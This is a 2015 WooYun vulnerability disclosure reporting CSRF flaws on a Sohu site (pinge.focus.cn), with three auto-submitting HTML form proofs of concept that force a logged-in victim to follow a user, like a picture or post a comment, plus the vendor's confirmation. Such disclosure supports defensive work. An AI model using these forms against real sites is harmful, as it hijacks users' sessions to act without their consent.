当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0105886

漏洞标题：搜狐某站存在多处CSRF可刷关注&喜欢&评论

相关厂商：搜狐

漏洞作者： 小邪

提交时间：2015-04-05 23:20

修复时间：2015-05-22 10:18

公开时间：2015-05-22 10:18

漏洞类型：CSRF

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-05： 细节已通知厂商并且等待厂商处理中
2015-04-07： 厂商已经确认，细节仅向厂商公开
2015-04-17： 细节向核心白帽子及相关领域专家公开
2015-04-27： 细节向普通白帽子公开
2015-05-07： 细节向实习白帽子公开
2015-05-22： 细节向公众公开

简要描述：

搜狐某站存在多处CSRF可刷关注&喜欢&评论

详细说明：

1.关注
问题处：pinge.focus.cn/a/Follow HTTP

targetId=10824366


参数targetId为要刷粉丝的用户id

sohu1.jpg


POC

<form method='post' action='http://pinge.focus.cn/a/Follow HTTP'>
        <input type='text' name='targetId' value='*****'>
</form>
<script>
	document.forms[0].submit();
</script>


2.被喜欢
问题处：pinge.focus.cn/a/LikePic

fid=47632&pid=412097&sid=10824366


fid为要刷的帖子id pid为帖子里的图片的id sid为帖子发布者的id（可直接双击头像进主页查看）
POC

<code>
<form method='post' action='http://pinge.focus.cn/a/LikePic'>
        <input type='text' name='fid' value='*****'>
        <input type='text' name='pid' value='*****'>
        <input type='text' name='sid' value='*****'>
</form>
<script>
	document.forms[0].submit();
</script>


</code>

漏洞证明：

3.评论
问题处：pinge.focus.cn/a/AddComments

caseId=11542&imageId=0&contents=11111111&picUserId=36578882


参数caseId为要刷的帖子的id content为内容 picUserId为帖子发布者的id（可直接双击头像进主页查看）
POC

<form method='post' action='http://pinge.focus.cn/a/AddComments '>
        <input type='text' name='caseId' value='*****'>
        <input type='text' name='contents' value='*****'>
        <input type='text' name='picUserId' value='*****'>
</form>
<script>
	document.forms[0].submit();
</script>

修复方案：

RT

版权声明：转载请注明来源 小邪@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-04-07 10:17

厂商回复：

感谢你对搜狐安全的关注。

最新状态：

暂无